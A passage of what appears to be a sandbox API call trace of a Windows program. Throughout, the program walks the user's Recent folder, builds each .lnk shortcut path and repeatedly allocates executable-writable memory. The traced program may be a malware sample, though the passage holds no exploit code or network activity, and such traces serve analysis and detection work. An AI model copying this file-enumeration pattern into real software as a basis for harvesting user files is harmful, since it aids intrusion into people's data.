returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk" [0054.903] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.903] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") returned 71 [0054.903] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") returned 71 [0054.903] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.903] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.903] lstrcmpW (lpString1="uNON (2).lnk", lpString2=".") returned 1 [0054.903] lstrcmpW (lpString1="uNON (2).lnk", lpString2="..") returned 1 [0054.903] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="uNON (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk" [0054.903] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.903] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk") returned 75 [0054.903] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON (2).lnk") returned 75 [0054.903] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.904] lstrcmpW (lpString1="uNON.lnk", lpString2=".") returned 1 [0054.904] lstrcmpW (lpString1="uNON.lnk", lpString2="..") returned 1 [0054.904] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="uNON.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk" [0054.904] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.904] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk") returned 71 [0054.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uNON.lnk") returned 71 [0054.904] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.904] lstrcmpW (lpString1="v3kq.lnk", lpString2=".") returned 1 [0054.904] lstrcmpW (lpString1="v3kq.lnk", lpString2="..") returned 1 [0054.904] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="v3kq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk" [0054.904] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.904] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk") returned 71 [0054.904] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v3kq.lnk") returned 71 [0054.904] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.904] lstrcmpW (lpString1="Videos.lnk", lpString2=".") returned 1 [0054.904] lstrcmpW (lpString1="Videos.lnk", lpString2="..") returned 1 [0054.904] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Videos.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk" [0054.904] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.905] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk") returned 73 [0054.905] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Videos.lnk") returned 73 [0054.905] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.905] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.905] lstrcmpW (lpString1="vokX63XlsbhJHT0r.lnk", lpString2=".") returned 1 [0054.905] lstrcmpW (lpString1="vokX63XlsbhJHT0r.lnk", lpString2="..") returned 1 [0054.905] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="vokX63XlsbhJHT0r.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk" [0054.905] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.905] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk") returned 83 [0054.905] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vokX63XlsbhJHT0r.lnk") returned 83 [0054.905] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.905] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.905] lstrcmpW (lpString1="vWO_nHAQmsUVwAMd0Z82.lnk", lpString2=".") returned 1 [0054.905] lstrcmpW (lpString1="vWO_nHAQmsUVwAMd0Z82.lnk", lpString2="..") returned 1 [0054.905] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="vWO_nHAQmsUVwAMd0Z82.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk" [0054.905] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.905] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk") returned 87 [0054.905] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vWO_nHAQmsUVwAMd0Z82.lnk") returned 87 [0054.905] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.906] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.906] lstrcmpW (lpString1="vXxmRwzZCj_sg.lnk", lpString2=".") returned 1 [0054.906] lstrcmpW (lpString1="vXxmRwzZCj_sg.lnk", lpString2="..") returned 1 [0054.906] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="vXxmRwzZCj_sg.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk" [0054.906] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.906] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk") returned 80 [0054.906] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vXxmRwzZCj_sg.lnk") returned 80 [0054.906] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.906] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.906] lstrcmpW (lpString1="we _xEQTC-XaBOe0W.lnk", lpString2=".") returned 1 [0054.906] lstrcmpW (lpString1="we _xEQTC-XaBOe0W.lnk", lpString2="..") returned 1 [0054.906] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="we _xEQTC-XaBOe0W.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk" [0054.906] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.906] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk") returned 84 [0054.906] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\we _xEQTC-XaBOe0W.lnk") returned 84 [0054.906] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.906] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.906] lstrcmpW (lpString1="WjNoxg.lnk", lpString2=".") returned 1 [0054.906] lstrcmpW (lpString1="WjNoxg.lnk", lpString2="..") returned 1 [0054.906] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="WjNoxg.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk" [0054.906] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.907] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk") returned 73 [0054.907] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WjNoxg.lnk") returned 73 [0054.907] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.907] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.907] lstrcmpW (lpString1="WQpPr2duNweKE.lnk", lpString2=".") returned 1 [0054.907] lstrcmpW (lpString1="WQpPr2duNweKE.lnk", lpString2="..") returned 1 [0054.907] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="WQpPr2duNweKE.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk" [0054.907] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.907] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk") returned 80 [0054.907] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WQpPr2duNweKE.lnk") returned 80 [0054.907] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.907] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.907] lstrcmpW (lpString1="wr XEQqTY.lnk", lpString2=".") returned 1 [0054.907] lstrcmpW (lpString1="wr XEQqTY.lnk", lpString2="..") returned 1 [0054.907] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="wr XEQqTY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk" [0054.907] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.907] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk") returned 76 [0054.907] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wr XEQqTY.lnk") returned 76 [0054.907] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.908] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.908] lstrcmpW (lpString1="wU6cO4bxfsD-glD-SMu.lnk", lpString2=".") returned 1 [0054.908] lstrcmpW (lpString1="wU6cO4bxfsD-glD-SMu.lnk", lpString2="..") returned 1 [0054.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="wU6cO4bxfsD-glD-SMu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk" [0054.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.908] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk") returned 86 [0054.908] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wU6cO4bxfsD-glD-SMu.lnk") returned 86 [0054.908] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.908] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.908] lstrcmpW (lpString1="wuSgr.lnk", lpString2=".") returned 1 [0054.908] lstrcmpW (lpString1="wuSgr.lnk", lpString2="..") returned 1 [0054.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="wuSgr.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk" [0054.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.908] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk") returned 72 [0054.908] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuSgr.lnk") returned 72 [0054.908] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.908] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.908] lstrcmpW (lpString1="XDfXtYW.lnk", lpString2=".") returned 1 [0054.908] lstrcmpW (lpString1="XDfXtYW.lnk", lpString2="..") returned 1 [0054.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="XDfXtYW.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk" [0054.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.909] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk") returned 74 [0054.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XDfXtYW.lnk") returned 74 [0054.909] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.909] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.909] lstrcmpW (lpString1="xuMNmaAQwzS.lnk", lpString2=".") returned 1 [0054.909] lstrcmpW (lpString1="xuMNmaAQwzS.lnk", lpString2="..") returned 1 [0054.909] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="xuMNmaAQwzS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk" [0054.909] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.909] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk") returned 78 [0054.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xuMNmaAQwzS.lnk") returned 78 [0054.909] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.909] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.909] lstrcmpW (lpString1="xX9L.lnk", lpString2=".") returned 1 [0054.909] lstrcmpW (lpString1="xX9L.lnk", lpString2="..") returned 1 [0054.909] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="xX9L.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk" [0054.909] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.909] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk") returned 71 [0054.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xX9L.lnk") returned 71 [0054.909] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.910] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.910] lstrcmpW (lpString1="xxlpD7In_.lnk", lpString2=".") returned 1 [0054.910] lstrcmpW (lpString1="xxlpD7In_.lnk", lpString2="..") returned 1 [0054.910] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="xxlpD7In_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk" [0054.910] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.910] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk") returned 76 [0054.910] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxlpD7In_.lnk") returned 76 [0054.910] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.910] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.910] lstrcmpW (lpString1="XZ8M.lnk", lpString2=".") returned 1 [0054.910] lstrcmpW (lpString1="XZ8M.lnk", lpString2="..") returned 1 [0054.910] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="XZ8M.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk" [0054.910] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.910] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk") returned 71 [0054.910] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XZ8M.lnk") returned 71 [0054.910] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.910] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.910] lstrcmpW (lpString1="y-GP 4d2ufj1t1Q8BO.lnk", lpString2=".") returned 1 [0054.910] lstrcmpW (lpString1="y-GP 4d2ufj1t1Q8BO.lnk", lpString2="..") returned 1 [0054.910] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="y-GP 4d2ufj1t1Q8BO.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk" [0054.910] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.911] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk") returned 85 [0054.911] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y-GP 4d2ufj1t1Q8BO.lnk") returned 85 [0054.911] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.911] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.911] lstrcmpW (lpString1="y4zEZYY.lnk", lpString2=".") returned 1 [0054.911] lstrcmpW (lpString1="y4zEZYY.lnk", lpString2="..") returned 1 [0054.911] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="y4zEZYY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk" [0054.911] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.911] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk") returned 74 [0054.911] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y4zEZYY.lnk") returned 74 [0054.911] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.911] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.911] lstrcmpW (lpString1="y8Dt5yt-qFapkL0CAmn.lnk", lpString2=".") returned 1 [0054.911] lstrcmpW (lpString1="y8Dt5yt-qFapkL0CAmn.lnk", lpString2="..") returned 1 [0054.911] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="y8Dt5yt-qFapkL0CAmn.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk" [0054.911] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.911] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 